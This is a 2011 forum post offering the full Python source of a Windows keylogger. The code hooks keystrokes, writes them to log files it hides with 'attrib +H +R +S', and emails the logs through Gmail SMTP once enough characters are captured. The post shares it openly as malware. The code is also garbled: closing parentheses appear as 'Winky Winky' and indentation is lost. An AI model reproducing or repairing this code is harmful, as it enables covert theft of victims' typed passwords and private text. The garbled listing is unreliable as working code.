Post: [PYTHON] Keylogger!!
05-10-2011, 04:45 PM #1
(adsbygoogle = window.adsbygoogle || []).push({}); Here is the code that caused me so much misery...

    import pywintypes
import pythoncom
import win32api
import pyHook
import logging
import os
import smtplib

#specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'}

specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'}
buffer = ''

def send():

j = open('loggedx.log', 'r'Winky Winky
check = file('loggedx.log'Winky Winky.read()
r = len(check)
j.close()

mmm = open('log.txt', 'r'Winky Winky
mmmp = file('log.txt'Winky Winky.read()
mmm.close()

msg = mmmp
##EDIT THIS##
toaddrs = 'PUT WHERE TO SEND LOGS'
username = "PUT YOUR GMAIL USERNAME"
password = "PUT YOUR GMAIL PASSWORD"
##EDIT THIS##
server = smtplib.SMTP('smtp.gmail.com:587'Winky Winky
server.starttls()
server.login(username,password)
server.sendmail(username + '@gmail.com', toaddrs, msg)
g = open('loggedx.log', 'w'Winky Winky
g.write('a'Winky Winky
g.close()
po = 0
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

def OnKeyboardEvent(event):

logging.basicConfig(filename='log.txt',level=logging.DEBUG,format='%(message)s'Winky Winky
global buffer
p = os.popen('attrib +H +R +S log.txt'Winky Winky
t = p.read()
p.close()
if event.Ascii in range(32,127):
ite = chr(event.Ascii)
print chr(event.Ascii)
buffer += chr(event.Ascii)

g = open('loggedx.log', 'a'Winky Winky
g.close()
j = open('loggedx.log', 'r'Winky Winky
check = file('loggedx.log'Winky Winky.read()
po = len(check)
j.close()
if check == '':
p = os.popen('attrib +H +R +S loggedx.log'Winky Winky
t = p.read()
p.close()
f = open('loggedx.log', 'a'Winky Winky
f.write(ite)
f.close()
else:
f = open('loggedx.log', 'a'Winky Winky
f.write(ite)
f.close()
if po > 100:
send()
else:
pass

if event.Ascii in specials:
ite = ' <'+specials[event.Ascii]+'> '
print '<'+specials[event.Ascii]+'>'
logging.log(10,buffer)
buffer = ''
logging.log(10,'<'+specials[event.Ascii]+'>'Winky Winky

p = os.popen('attrib +H +R +S log.txt'Winky Winky
t = p.read()
p.close()

g = open('loggedx.log', 'a'Winky Winky
g.close()
j = open('loggedx.log', 'r'Winky Winky
check = file('loggedx.log'Winky Winky.read()
po = len(check)
j.close()
if check == '':
p = os.popen('attrib +H +R +S loggedx.log'Winky Winky
t = p.read()
p.close()
f = open('loggedx.log', 'a'Winky Winky
f.write(ite)
f.close()
else:
f = open('loggedx.log', 'a'Winky Winky
f.write(ite)
f.close()
if po > 100:
send()
else:
pass

return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Copyright © 2024, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo